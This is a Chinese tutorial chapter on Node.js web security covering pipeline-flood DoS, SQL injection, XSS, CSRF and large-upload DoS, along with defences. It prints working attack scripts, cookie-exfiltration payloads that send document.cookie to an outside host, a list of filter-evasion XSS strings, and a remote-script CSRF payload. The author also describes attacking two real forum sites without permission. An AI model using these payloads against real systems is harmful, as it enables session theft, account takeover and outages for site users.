您可以捐助,支持我们的公益事业。

1元 10元 50元





认证码:  验证码,看不清楚?请点击刷新验证码 必填



  求知 文章 文库 Lib 视频 iPerson 课程 认证 咨询 工具 讲座 Modeler   Code  
会员   
 
   
 
 
     
   
 订阅
  捐助
Web安全实战
 
火龙果软件 发布于:2014-10-27
  2366  次浏览      16

前言

本章将主要介绍使用Node.js开发web应用可能面临的安全问题,读者通过阅读本章可以了解web安全的基本概念,并且通过各种防御措施抵御一些常规的恶意攻击,搭建一个安全的web站点。

在学习本章之前,读者需要对HTTP协议、SQL数据库、Javascript有所了解。

什么是web安全

在互联网时代,数据安全与个人隐私受到了前所未有的挑战,我们作为网站开发者,必须让一个web站点满足基本的安全三要素:

(1)机密性,要求保护数据内容不能泄露,加密是实现机密性的常用手段。

(2)完整性,要求用户获取的数据是完整不被篡改的,我们知道很多OAuth协议要求进行sign签名,就是保证了双方数据的完整性。

(3)可用性,保证我们的web站点是可被访问的,网站功能是正常运营的,常见DoS(Denail of Service 拒绝服务)攻击就是破坏了可用性这一点。

安全的定义和意识

web安全的定义根据攻击手段来分,我们把它分为如下两类:

(1)服务安全,确保网络设备的安全运行,提供有效的网络服务。

(2)数据安全,确保在网上传输数据的保密性、完整性和可用性等。

我们之后要介绍的SQL注入,XSS攻击等都是属于数据安全的范畴,DoS,Slowlori攻击等都是属于服务安全范畴。

在黑客世界中,用帽子的颜色比喻黑客的“善恶”,精通安全技术,工作在反黑客领域的安全专家我们称之为白帽子,而黑帽子则是利用黑客技术谋取私利的犯罪群体。同样都是搞网络安全研究,黑、白帽子的职责完全不同,甚至可以说是对立的。对于黑帽子而言,他们只要找到系统的一个切入点就可以达到入侵破坏的目的,而白帽子必须将自己系统所有可能被突破的地方都设防,保证系统的安全运行。所以我们在设计架构的时候就应该有安全意识,时刻保持清醒的头脑,可能我们的web站点100处都布防很好,只有一个点疏忽了,攻击者就会利用这个点进行突破,让我们另外100处的努力也白费。

同样安全的运营也是非常重要的,我们为web站点建立起坚固的壁垒,而运营人员随意使用root帐号,给核心服务器开通外网访问IP等等一系列违规操作,会让我们的壁垒瞬间崩塌。

Node.js中的web安全

Node.js作为一门新型的开发语言,很多开发者都会用它来快速搭建web站点,期间随着版本号的更替也修复了不少漏洞。因为Node.js提供的网络接口较PHP更为底层,同时没有如apache、nginx等web服务器的前端保护,Node.js应该更加关注安全方面的问题。

Http管道洪水漏洞

在Node.js版本0.8.26和0.10.21之前,都存在一个管道洪水的拒绝服务漏洞(pipeline flood DoS)。官网在发布这个漏洞修复代码之后,强烈建议在生产环境使用Node.js的版本升级到0.8.26和0.10.21,因为这个漏洞威力巨大,攻击者可以用很廉价的普通PC轻易的击溃一个正常运行的Node.js的HTTP服务器。

这个漏洞产生的原因很简单,主要是因为客户端不接收服务端的响应,但客户端又拼命发送请求,造成Node.js的Stream流无法泄洪,主机内存耗尽而崩溃,官网给出的解释如下:

当在一个连接上的客户端有很多HTTP请求管道,并且客户端没有读取Node.js服务器响应的数据,Node.js的服务将可能被击溃。强烈建议任何在生产环境下的版本是0.8或0.10的HTTP服务器都尽快升级。新版本Node.js修复了问题,当服务端在等待stream流的drain事件时,socket和HTTP解析将会停止。在攻击脚本中,socket最终会超时,并被服务端关闭连接。如果客户端并不是恶意攻击,只是发送大量的请求,但是响应非常缓慢,那么服务端响应的速度也会相应降低。

现在让我们看一下这个漏洞造成的杀伤力吧,我们在一台4cpu,4G内存的服务器上启动一个Node.js的HTTP服务,Node.js版本为0.10.7。服务器脚本如下:

var http = require('http');
var buf = new Buffer(1024*1024);//1mb buffer
buf.fill('h');
http.createServer(function (request, response) {
response.writeHead(200, {'Content-Type': 'text/plain'});
response.end(buf);
}).listen(8124);
console.log(process.memoryUsage());
setInterval(function(){//per minute memory usage
console.log(process.memoryUsage());
},1000*60)

上述代码我们启动了一个Node.js服务器,监听8124端口,响应1mb的字符h,同时每分钟打印Node.js内存使用情况,方便我们在执行攻击脚本之后查看服务器的内存使用情况。

在另外一台同样配置的服务器上启动如下攻击脚本:

var net = require('net');
var attack_str = 'GET / HTTP/1.1\r\nHost: 192.168.28.4\r\n\r\n'
var i = 1000000;//10W次的发送
var client = net.connect({port: 8124, host:'192.168.28.4'},
function() { //'connect' listener
while(i--){
client.write(attack_str);
}
});
client.on('error', function(e) {
console.log('attack success');
});

我们的攻击脚本加载了net模块,然后定义了一个基于HTTP协议的GET方法的请求头,然后我们使用tcp连接到Node.js服务器,循环发送10W次GET请求,但是不监听服务端响应事件,也就无法对服务端响应的stream流进行消费。下面是在攻击脚本启动10分钟后,web服务器打印的内存使用情况:

{ rss: 10190848, heapTotal: 6147328, heapUsed: 2632432 }
{ rss: 921882624, heapTotal: 888726688, heapUsed: 860301136 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189239056 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189251728 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189263768 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189270888 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189278008 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189285096 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189292216 }
{ rss: 1250893824, heapTotal: 1211065584, heapUsed: 1189301864 }

我们在服务器执行top命令,查看的系统内存使用情况如下:

Mem: 3925040k total, 3290428k used, 634612k free, 170324k buffers

可以看到,我们的攻击脚本只用了一个socket连接就消耗掉大量服务器的内存,更可怕的是这部分内存不会自动释放,需要手动重启进程才能回收。攻击脚本执行之后Node.js进程占用内存比之前提高近200倍,如果有2-3个恶意攻击socket连接,服务器物理内存必然用完,然后开始频繁的交换,从而失去响应或者进程崩溃。

SQL注入

从1998年12月SQL注入首次进入人们的视线,至今已经有十几年了,虽然我们已经有了很全面的防范SQL注入的对策,但是它的威力仍然不容小觑。

注入技巧

SQL注入大家肯定不会陌生,下面就是一个典型的SQL注入示例:

var userid = req.query["userid"];
var sqlStr = 'select * from user where id="'+ userid +'"';
connection.query(sqlStr, function(err, userObj) {
// ...
});

正常情况下,我们都可以得到正确的用户信息,比如用户通过浏览器访问/user/info?id=11进入个人中心,而我们根据用户传递的id参数展现此用户的详细信息。但是如果有恶意用户的请求地址为/user/info?id=11";drop table user--,那么最后拼接而成的SQL查询语句就是:

select * from user where id = "11";drop table user--

注意最后连续的两个减号表示忽略此SQL语句后面的语句。原本执行的查询用户信息的SQL语句,在执行完毕之后会把整个user表丢弃掉。

这是另外一个简单的注入示例,比如用户的登录接口查询,我们会根据用户的登录名和密码去数据库查找匹配,如果找到相应的记录,则表示用户名和密码匹配,提示用户登录成功;如果没有找到记录,则认为用户名或密码错误,表示登录失败,代码如下:

var username = req.body["username"];
var password = md5(req.body["password"]+salt);//对密码加密
var sqlStr = 'select * from user where username="'+ username +'"
and password="'+ password +'";

如果我们提交上来的用户名参数是这样的格式:snoopy" and 1=1--,那么拼接之后的SQL查询语句就是如下内容:

select * from user where username = "snoopy" and 1=1-- " and 
password="698d51a19d8a121ce581499d7b701668";

执行这样的SQL语句永远会匹配到用户数据,就算我们不知道密码也能顺利登录到系统。如果在我们尝试注入SQL的网站开启了错误提示显示,会为攻击者提供便利,比如攻击者通过反复调整发送的参数、查看错误信息,就可以猜测出网站使用的数据库和开发语言等信息。

比如有一个信息发布网站,它的新闻详细页面url地址为/news/info?id=11,我们通过分别访问/news/info?id=11 and 1=1和/news/info?id=11 and 1=2,就可以基本判断此网站是否存在SQL注入漏洞,如果前者可以访问而后者页面无法正常显示的话,那就可以断定此网站是通过如下的SQL来查询某篇新闻内容的:

var sqlStr = 'select * from news where id="'+id+'"';

因为1=2这个表达式永远不成立,所以就算id参数正确也无法通过此SQL语句返回真正的数据,当然就会出现无法正常显示页面的情况。我们可以使用一些检测SQL注入点的工具来扫描一个网站哪些地方具有SQL注入的可能。

通过url参数和form表单提交的数据内容,开发者通常都会为之做严密防范,开发人员必定会对用户提交上来的参数做一些正则判断和过滤,再丢到SQL语句中去执行。但是开发人员可能不太会去关注用户HTTP的请求头,比如cookie中存储的用户名或者用户id,referer字段以及User-Agent字段。

比如,有的网站可能会去记录注册用户的设备信息,通常记录用户设备信息是根据请求头中的User-Agent字段来判断的,拼接如下查询字符串就有存在SQL注入的可能。

var username = escape(req.body["username"]);//使用escape函数,过滤SQL注入
var password = md5(req.body["password"]+salt);//对密码加密
var agent = req.header["user-agent"];//注意Node.js的请求头字段都是小写的
var sqlStr = 'insert into user username,password,agent values "'+username+'",
"'+password+'", "'+agent+'"';

这时候我们通过发包工具,伪造HTTP请求头,如果将请求头中的User-Agent修改为:';drop talbe user--,我们就成功注入了网站。

防范措施

防范SQL注入的方法很简单,只要保证我们拼接到SQL查询语句中的变量都经过escape过滤函数,就基本可以杜绝注入了,所以我们一定要养成良好的编码习惯,对客户端请求过来的任何数据都要持怀疑态度,将它们过滤之后再丢到SQL语句中去执行。我们也可以使用一些比较成熟的ORM框架,它们会帮我们阻挡掉SQL注入攻击。

XSS脚本攻击

XSS是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分,所以取名XSS。它是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML标签以及用户端脚本语言。

名城苏州网站注入

XSS注入常见的重灾区是社交网站和论坛,越是让用户自由输入内容的地方,我们就越要关注其能否抵御XSS攻击。XSS注入的攻击原理很简单,构造一些非法的url地址或js脚本让HTML标签溢出,从而造成注入。一般引诱用户点击才触发的漏洞我们称为反射性漏洞,用户打开页面就触发的称为注入型漏洞,当然注入型漏洞的危害更大一些。下面先用一个简单的实例来说明XSS注入无处不在。

名城苏州(www.2500sz.com),是苏州本地门户网站,日均的pv数也达到了150万,它的论坛用户数很多,是本地化新闻、社区论坛做的比较成功的一个网站。

接下来我们将演示一个注入到2500sz.com的案例,我们先注册成一个2500sz.com站点会员,进入论坛板块,开始发布新帖。打开发帖页面,在web编辑器中输入如下内容:

上面的代码即为分享一个网络图片,我们在图片的src属性中直接写入了javascript:alert('xss');,操作成功后生成帖子,用IE6、7的用户打开此帖子就会出现下图的alert('xss')弹窗。

当然我们要将标题设计的非常夺人眼球,比如“Pm2.5雾霾真相披露” ,然后将里面的alert换成如下恶意代码:

location.href='http://www.xss.com?cookie='+document.cookie;

这样我们就获取到了用户cookie的值,如果服务端session设置过期很长的话,以后就可以伪造这个用户的身份成功登录而不再需要用户名密码,关于session和cookie的关系我们在下一节中将会详细讲到。这里的location.href只是出于简单,如果做了跳转这个帖子很快会被管理员删除,但我们写如下代码,并且帖子的内容也是真实的,那么就会祸害很多人:

var img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);

这样就神不知鬼不觉的把当前用户cookie的值发送到恶意站点,恶意站点通过GET参数,就能获取用户cookie的值。通过这个方法可以拿到用户各种各样的私密数据。

Ajax的XSS注入

另一处容易造成XSS注入的地方是Ajax的不正确使用。

比如有这样的一个场景,在一篇博文的详细页,很多用户给这篇博文留言,为了加快页面加载速度,项目经理要求先显示博文的内容,然后通过Ajax去获取留言的第一页信息,留言功能通过Ajax分页保证了页面的无刷新和快速加载,此做法的好处有:

(1)加快了博文详细页的加载,提升了用户体验,因为留言信息往往有用户头像、昵称、id等等,需要多表查询,且一般用户会先看博文,再拉下去看留言,这时留言已加载完毕。

(2)Ajax的留言分页能更快速响应,用户不必每次分页都让博文重新刷新。

于是前端工程师从PHP那获取了json数据之后,将数据放入DOM文档中,大家能看出下面代码的问题吗?

var commentObj = $('#comment');
$.get('/getcomment', {r:Math.random(),page:1,article_id:1234},function(data){
//通过Ajax获取评论内容,然后将品论的内容一起加载到页面中
if(data.state !== 200) return commentObj.html('留言加载失败。')
commentObj.html(data.content);
},'json');

我们设计的初衷是,PHP程序员将留言内容套入模板,返回json格式数据,示例如下:

{"state":200, "content":"模板的字符串片段"}

如果没有看出问题,大家可以打开firebug或者chrome的开发人员工具,直接把下面代码粘贴到有JQuery插件的网站中运行:

$('div:first').html('<div><script>alert("xss")</script><div>');

正常弹出了alert框,你可能觉得这比较小儿科。

如果PHP程序员已经转义了尖括号<>还有单双引号"',那么上面的恶意代码会被漂亮的变成如下字符输出到留言内容中:

$('div:first').html('<script> alert("xss")</script> ');

这里我们需要表扬一下PHP程序员,可以将一些常规的XSS注入都屏蔽掉,但是在utf-8编码中,字符还有另一种表示方式,那就是unicode码,我们把上面的恶意字符串改写成如下:

$('div:first').html('
\u003c \u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c \u0065\u0072\u0074
\u0028 \u0022\u0078\u0073\u0073\u0022\u0029\u003c \u002f\u0073 \u0063\u0072\u0069\
u0070\u0074\u003e');

大家发现还是输出了alert框,只是这次需要将写好的恶意代码放入转码工具中做下转义,webqq曾经就爆出过上面这种unicode码的XSS注入漏洞,另外有很多反射型XSS漏洞因为过滤了单双引号,所以必须使用这种方式进行注入。

base64注入

除了比较老的ie6、7浏览器,一般浏览器在加载一些图片资源的时候我们可以使用base64编码显示指定图片,比如下面这段base64编码:

<img src=" (... 省略若干字符) 
AAAASUVORK5CYII=" />

表示的就是一张Node.js官网的logo,图片如下:

我们一般使用这样的技术把一些网站常用的logo或者小图标转存成为base64编码,进而减少一次客户端向服务器的请求,加快用户加载页面速度。

我们还可以把HTML页面的代码隐藏在data属性之中,比如下面的代码将打开一个hello world的新页面。

<a href="data:text/html;ascii,<html><title>hello</title><body>hello world
</body></html>">click me</a>

根据这样的特性,我们就可以尝试把一些恶意的代码转存成为base64编码格式,然后注入到a标签里去,从而形成反射型XSS漏洞,我们编码如下代码。

<img src=x onerror=alert(1)>

经过base64编码之后的恶意代码如下。

<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">base64 xss</a>

用户在点击这个超链接之后,就会执行如上的恶意alert弹窗,就算网站开发者过滤了单双引号",'和左右尖括号<>,注入还是能够生效的。

不过这样的注入因为跨域的问题,恶意脚本是无法获取网站的cookie值。另外如果网站提供我们自定义flash路径,也是可以使用相同的方式进行注入的,下面是一段规范的在网页中插入flash的代码:

<object type="application/x-shockwave-flash" data="movie.swf" width="400" height="300">
<param name="movie" value="movie.swf" />
</object>

把data属性改写成如下恶意内容,也能够通过base64编码进行注入攻击:

<script>alert("Hello");</script>

经过编码过后的注入内容:

<object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="></object>

用户在打开页面后,会弹出alert框,但是在chrome浏览器中是无法获取到用户cookie的值,因为chrome会认为这个操作不安全而禁止它,看来我们的浏览器为用户安全也做了不少的考虑。

常用注入方式

注入的根本目的就是要HTML标签溢出,从而执行攻击者的恶意代码,下面是一些常用攻击手段:

(1)alert(String.fromCharCode(88,83,83)),通过获取字母的ascii码来规避单双引号,这样就算网站过滤掉单双引号也还是可以成功注入的。

(2)<IMG SRC=JaVaScRiPt:alert('XSS')>,通过注入img标签来达到攻击的目的,这个只对ie6和ie7下有效,意义不大。

(3)<IMG SRC=""onerror="alert('xxs')">,如果能成功闭合img标签的src属性,那么加上onload或者onerror事件可以更简单的让用户遭受攻击。

(4)<IMG SRC=javascript:alert('XSS')>,这种方式也只有对ie6奏效。

(5)<IMG SRC="jav ascript:alert('XSS');">,<IMG SRC=java\0script:alert(\"XSS\")>,<IMG SRC="jav ascript:alert('XSS');">,我们也可以把关键字Javascript分开写,避开一些简单的验证,这种方式ie6统统中招,所以ie6真不是安全的浏览器。

(6)<LINK REL="stylesheet" HREF="javascript:alert('XSS');">,通过样式表也能注入。

(7)<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>,如果可以自定义style样式,也可能被注入。

(8)<IFRAME SRC="javascript:alert('XSS');"></IFRAME>,iframe的标签也可能被注入。

(9)<a href="javasc ript:alert(1)">click</a>,利用 伪装换行,:伪装冒号,从而避开对Javascript关键字以及冒号的过滤。

其实XSS注入过程充满智慧,只要你反复尝试各种技巧,就可能在网站的某处攻击成功。总之,发挥你的想象力去注入吧,最后别忘了提醒下站长哦。更多XSS注入方式参阅:(XSS Filter Evasion Cheat Sheet)[https://www.owasp.org/index.php/XSSFilterEvasionCheatSheet]

防范措施

对于防范XSS注入,其实只有两个字过滤,一定要对用户提交上来的数据保持怀疑,过滤掉其中可能注入的字符,这样才能保证应用的安全。另外,对于入库时过滤还是读库时过滤,这就需要根据应用的类型来进行选择了。下面是一个简单的过滤HTML标签的函数代码:

var escape = function(html){
return String(html)
.replace(/&(?!\w+;)/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
};

不过上述的过滤方法会把所有HTML标签都转义,如果我们的网站应用确实有自定义HMTL标签的需求的话,它就力不从心了。这里我推荐一个过滤XSS注入的模块,由本书另一位作者老雷提供:js-xss

CSRF请求伪造

CSRF是什么呢?CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性。

Session详解

想要深入理解CSRF攻击的特性,我们必须了解网站session的工作原理。

session我想大家都不会陌生,无论你用Node.js或PHP开发过网站的肯定都用过session对象,假如我把浏览器的cookie禁用了,大家认为session还能正常工作吗?

答案是否定的,我举个简单的例子来帮助大家理解session的含义。

比如我办了一张超市的储值会员卡,我能享受部分商品打折的优惠,我的个人资料以及卡内余额都是保存在超市会员数据库里的。每次结账时,出示会员卡超市便能知道我的身份,随即进行打折优惠并扣除卡内相应余额。

这里我们的会员卡卡号就相当于保存在cookie中的sessionid,而我的个人信息就是保存在服务端的session对象,因为cookie有两个重要特性,(1)同源性,保证了cookie不会跨域发送造成泄密;(2)附带性,保证每次请求服务端都会在请求头中带上cookie信息。也就是这两个特性为我们识别用户带来的便利,因为HTTP协议是无状态的,我们之所以知道请求用户的身份,其实就是获取了用户请求头中的cookie信息。

当然session对象的保存方法多种多样,可以保存在文件中,也可以是内存里。考虑到分布式的横向扩展,我们还是建议生产环境把它保存在第三方媒介中,比如redis或者mongodb,默认的express框架是将session对象保存在内存里的。

除了用cookie保存sessionid,我们还可以使用url参数来保存sessionid,只不过每次请求都需要在url里带上这个参数,根据这个参数,我们就能识别此次请求的用户身份了。

另外近阶段利用Etag来保存sessionid也被使用在用户行为跟踪上,Etag是静态资源服务器对用户请求头中if-none-match的响应,一般我们第一次请求某一个静态资源是不会带上任何关于缓存信息的请求头的,这时候静态资源服务器根据此资源的大小和最终修改时间,哈希计算出一个字符串作为Etag的值响应给客户端,如下图:

第二次当我们再访问这个静态资源的时候,由于本地浏览器具有此图片的缓存,但是不确定服务器是否已经更新掉了这个静态资源,所以在发起请求的时候会带上if-none-match参数,其值就是上次请求服务器响应的Etag值。服务器接收到这个if-none-match的值,再根据原算法去生成Etag值,进行比对。如果两个值相同,则说明该静态资源没有被更新,于是响应状态码304,告诉浏览器放心的使用本地缓存,远程资源没有更新,结果如下图:

当然如果远程资源有变动,则服务器会响应一份新的资源给浏览器,并且Etag的值也会不同。根据这样的一个特性,我们可以得出结论,在用户第一次请求某一个静态资源的时候我们响应给它一个全局唯一的Etag值,在用户不清空缓存的情况下,用户下次再请求到服务器,还是会带上同一个Etag值的,于是我们可以利用这个值作为sessionid,而我们在服务器端保存这些Etag值和用户信息的对应关系,也就可以利用Etag来标识出用户身份了。

CSRF的危害性

在我们理解了session的工作机制后,CSRF攻击也就很容易理解了。CSRF攻击就相当于恶意用户复制了我的会员卡,用我的会员卡享受购物的优惠折扣,更可以使用我购物卡里的余额购买他的东西!

CSRF的危害性已经不言而喻了,恶意用户可以伪造某一个用户的身份给其好友发送垃圾信息,这些垃圾信息的超链接可能带有木马程序或者一些诈骗信息(比如借钱之类的)。如果发送的垃圾信息还带有蠕虫链接的话,接收到这些有害信息的好友一旦打开私信中的链接,就也成为了有害信息的散播者,这样数以万计的用户被窃取了资料、种植了木马。整个网站的应用就可能在短时间内瘫痪。

MSN网站,曾经被一个美国的19岁小伙子Samy利用css的background漏洞几小时内让100多万用户成功的感染了他的蠕虫,虽然这个蠕虫并没有破坏整个应用,只是在每一个用户的签名后面都增加了一句“Samy 是我的偶像”,但是一旦这些漏洞被恶意用户利用,后果将不堪设想。同样的事情也曾经发生在新浪微博上。

想要CSRF攻击成功,最简单的方式就是配合XSS注入,所以千万不要小看了XSS注入攻击带来的后果,不是alert一个对话框那么简单,XSS注入仅仅是第一步!

cnodejs官网攻击实例

本节将给大家带来一个真实的攻击案例,学习Node.js编程的爱好者们肯定都访问过cnodejs.org,早期cnodejs仅使用一个简单的Markdown编辑器作为发帖回复的工具并没有做任何限制,在编辑器过滤掉HTML标签之前,整个社区alert弹窗满天飞,下图就是修复这个漏洞之前的各种注入情况:

先分析一下cnodejs被注入的原因,其实原理很简单,就是直接可以在文本编辑器里写入代码,比如:

<script>alert("xss")</script>

如此光明正大的注入肯定会引起站长们的注意,于是站长关闭了markdown编辑器的HTML标签功能,强制过滤直接在编辑器中输入的HTML标签。

cnodejs注入的风波暂时平息了,不过真的禁用了所有输入的HTML标签就安全了吗?我们打开cnodejs网站的发帖页面,发现编辑器其实还是可以插入超链接的,这个功能就是为了帮助开发者分享自己的web站点以及学习资料:

一般web编辑器的超链接功能最有可能成为反射型XSS的注入点,下面是web编辑器通常采取的超链接功能实现的原理,根据用户填写的超链接地址,生成<a>标签:

<a href="用户填写的超链接地址">用户填写的超链接描述</a>

通常我们可以通过下面两种方式注入<a>标签:

(1)用户填写的超链接内容 = javascript:alert("xss");

(2)用户填写的超链接内容 = http://www.baidu.com#"onclick="alert('xss')"

方法(1)是直接写入js代码,一般都会被禁用,因为服务端一般会验证url 地址的合法性,比如是否是http或者https开头的。

方法(2)是利用服务端没有过滤双引号,从而截断<a>标签href属性,给这个<a>标签增加onclick事件,从而实现注入。

很可惜,经过升级的cnodejs网站编辑器将双引号过滤,所以方法(2)已经行不通了。但是cnodejs并没有过滤单引号,单引号我们也是可以利用的,于是我们注入如下代码:

我们伪造了一个标题为bbbb的超链接,然后在href属性里直接写入js代码alert,最后我们利用js的注释添加一个双引号结尾,企图尝试双引号是否转义。如果单引号也被转义我们还可以尝试使用String.fromCharCode();的方式来注入,上图href属性也可以改为:

<a href="javascript:eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,
41))">用户填写的超链接描述</a>

下图就是XSS注入成功,<a>标签侧漏的图片:

在进行一次简单的CSRF攻击之前,我们需要了解一般网站是如何防范CSRF的。

网站通常在需要提交数据的地方埋入一个隐藏的input框,这个input框的name值可能是_csrf或者_input等,这个隐藏的input框就是用来抵御CSRF攻击的,如果攻击者引导用户在其他网站发起post请求提交表单时,会因为隐藏框的_csrf值不同而验证失败,这个_csrf值将会记录在session对象中,所以在其他恶意网站是无法获取到这个值的。

但是当站点被XSS注入之后,隐藏框的防御CSRF功能将彻底失效。回到cnodejs站点,查看源码,我们看到网站作者把_csrf值放到闭包内,然后通过模版渲染直接输出,这样看上去可以防御注入的脚本直接获取_csrf的值,但是真的这样吗?我们看下面代码的运行截图:

我们用Ajax请求本页地址,然后获取整个页面的文本,通过正则将_csrf的值匹配出来,拿到_csrf值后我们就可以为所欲为了,我们这次的攻击的目的有2个:

(1)将我所发的这篇恶意主题置顶,要让更多的用户看到,想要帖子置顶,就必须让用户自动回复,但是如果一旦疯狂的自动回复,肯定会被管理员发现,将导致主题被删除或者引起其他受害者的注意。所以我构想了如下流程,先自动回复主题,然后自动删除回复的主题,这样就神不知鬼不觉了,用户也不会发现自己回复过了,管理员也不会在意,因为帖子并没有显示垃圾信息。

(2)增加帐号snoopy的粉丝数,要让受害者关注snoopy这个帐号,我们只要直接伪造受害者请求,发送到关注帐号的接口地址即可,当然这也是在后台运行的。

下面是我们需要用到的cnodejs站点HTTP接口地址:

(1)发布回复
url地址:http://cnodejs.org/503cc6d5f767cc9a5120d351/reply
post数据:
r_content:顶起来,必须的
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

(2)删除回复
请求地址:http://cnodejs.org/reply/504ffd5d5aa28e094300fd3a/delete
post数据:
reply_id:504ffd5d5aa28e094300fd3a
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

(3)关注
请求地址: http://cnodejs.org/ user/follow
post数据:
follow_id: '4efc278525fa69ac690000f7',//我在cnodejs网站的用户id
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

接口我们都拿到了,然后就是构建攻击js脚本了,我们的js脚本攻击流程就是:

(1)获取_csrf值

(2)发布回复

(3)删除回复

(4)加关注

(5)跳转到正常的地址(防止用户发现)

最后我们将整个攻击脚本放在NAE上(现在NAE已经关闭了,当年是比较流行的一个部署Node.js的云平台),然后将攻击代码注入到<a>标签:

javascript:$.getScript('http://rrest.cnodejs.net/static/cnode_csrf.js') //"id=
'follow_btn'name='http://rrest.cnodejs.net/static/cnode_csrf.js'
onmousedown='$.getScript(this.name)//'

这次的注入攻击chrome,firefox,ie7+等主流浏览器都无一幸免,下面是注入成功的截图:

不一会就有许多网友中招了,我的关注信息记录多了不少:

通过这次XSS和CSRF的联袂攻击,snoopy成为了cnodejs粉丝数最多的帐号。回顾整个流程,主要还是依靠XSS注入才完成了攻击,所以我们想要让站点更加安全,任何XSS可能的注入点都一定要牢牢把关,彻底过滤掉任何可能有风险的字符。

另外值得一提的是cookie的劫持,恶意用户在XSS注入成功之后,一般会用document.cookie来获取用户站点的cookie值,从而伪造用户身份造成破坏。存储在浏览器端的cookie有一个非常重要的属性HttpOnly,当标识有HttpOnly属性的cookie,攻击者是无法通过js脚本document.cookie获取的,所以对于一般sessionid的存储我们都建议在写入客户端cookie时带上HttpOnly,express在写cookie带上HttpOnly属性的代码如下:

res.cookie('rememberme', '1', { expires: new Date(Date.now() + 900000), httpOnly: true });

应用层DoS拒绝服务

本章将介绍在应用层面的DoS攻击,应用层一些很小的漏洞,就有可能被攻击者抓住从而造成整个系统瘫痪,包括上面提到的Node.js管道拒绝服务漏洞都是属于这类攻击。

应用层和网络层的DoS

最经典的网络层DoS就是SYN flood,它利用了tcp协议的设计缺陷,由于tcp协议的广泛使用,所以目前想要根治这个漏洞是不可能的。

tcp的客户端和服务端想要建立连接需要经过三次握手的过程,它们分别是:

(1)客户端向服务端发送SYN包

(2)服务端向客户端发送SYN/ACK包

(3)客户端向服务端发送ACK包

攻击者首先使用大量肉鸡服务器并伪造源ip地址,向服务端发送SYN包,希望建立tcp连接,服务端就会正常的响应SYN/ACK包,等待客户端响应。攻击客户端并不会去响应这些SYN/ACK包,服务端判断客户端超时就会丢弃这个连接。如果这些攻击连接数量巨大,最终服务器就会因为等待和频繁处理这种半连接而失去对正常请求的响应,从而导致拒绝服务攻击成功。

通常我们会依靠一些硬件的防火墙来减轻这类攻击带来的危害,网络层的DDoS攻击防御算法非常复杂,我们本节将讨论应用层的DoS攻击。

应用层的DoS攻击伴随着一定的业务和web服务器的特性,所以攻击更加多样化。目前的商业硬件设备很难对其做到有效的防御,因此它的危害性绝对不比网络层的DDoS低。

比如黑客在攻陷了几个流量比较大的网站之后,在网页中注入如下代码:

<iframe src="http://attack web site url"></iframe>

这样每个访问这些网站的客户端都成了黑客攻击目标网站的帮手,如果被攻击的路径是一些需要大量I/O计算的接口的话,该目标网站将会很快失去响应,黑客DoS攻击成功。

关注应用层的DoS往往需要从实际业务入手,找到可能被攻击的地方,做针对性的防御。

超大Buffer

在开发中总有这样的web接口,接收用户传递上来的json字符串,然后将其保存到数据库中,我们简单构建如下代码:

var http = require('http');
http.createServer(function (req, res) {
if(req.url === '/json' && req.method === 'POST'){//获取用上传代码
var body = [];
req.on('data',function(chunk){
body.push(chunk);//获取buffer
})
req.on('end',function(){
body = Buffer.concat(body);
res.writeHead(200, {'Content-Type': 'text/plain'});
//db.save(body) 这里是数据库入库操作
res.end('ok');
})
}
}).listen(8124);

我们使用buffer数组,保存用户发送过来的数据,最后通过Buffer.concat将所有buffer连接起来,并插入到数据库。

注意这部分代码:

req.on('data',function(chunk){
body.push(chunk);//获取buffer
})

不能用下面简单的字符串拼接来代替,可能我收到的内容不是utf-8格式,另外从拼接性能上来说两者也不是一个数量级的,我们看如下测试:

var buf = new Buffer('nodejsv0.10.4&nodejsv0.10.4&nodejsv0.10.4&nodejsv0.10.4&');
console.time('string += buf');
var s = '';
for(var i=0;i<100000;i++){
s += buf;
}
s;
console.timeEnd('string += buf');


console.time('buf concat');
var list = [];
var len=0;
for(var i=0;i<100000;i++){
list.push(buf);
len += buf.length;
}
var s2 = Buffer.concat(list, len).toString();
console.timeEnd('buf concat');

这个测试脚本分别使用两种不通的方式将buf连接10W次,并返回字符串,我们看下运行结果:

string += buf: 66ms
buf concat: 33ms

我们看到,运行性能相差了整整一倍,所以当我们在处理这类情况的数据时,建议使用Buffer.concat来做。

现在开始构建一个超大的具有700mb的buffer,然后把它保存成文件:

var fs = require('fs');
var buf = new Buffer(1024*1024*700);
buf.fill('h');
fs.writeFile('./large_file', buf, function(err){
if(err) return console.log(err);
console.log('ok')
})

我们构建攻击脚本,把这个超大的文件发送出去,如果接收这个POST的Node.js服务器是内存只有512mb的小型云主机,那么当攻击者上传这个超大文件后,云主机内存会消耗殆尽。

var http = require('http');
var fs = require('fs');
var options = {
hostname: '127.0.0.1',
port: 8124,
path: '/json',
method: 'POST'
};
var request = http.request(options, function(res) {
res.setEncoding('utf8');
res.on('readable', function () {
console.log(res.read());
});
});
fs.createReadStream('./large_file').pipe(request);

我们看一下Node.js服务器在受攻击前后内存的使用情况:

{ rss: 14225408, heapTotal: 6147328, heapUsed: 2688280 }
{ rss: 15671296, heapTotal: 7195904, heapUsed: 2861704 }
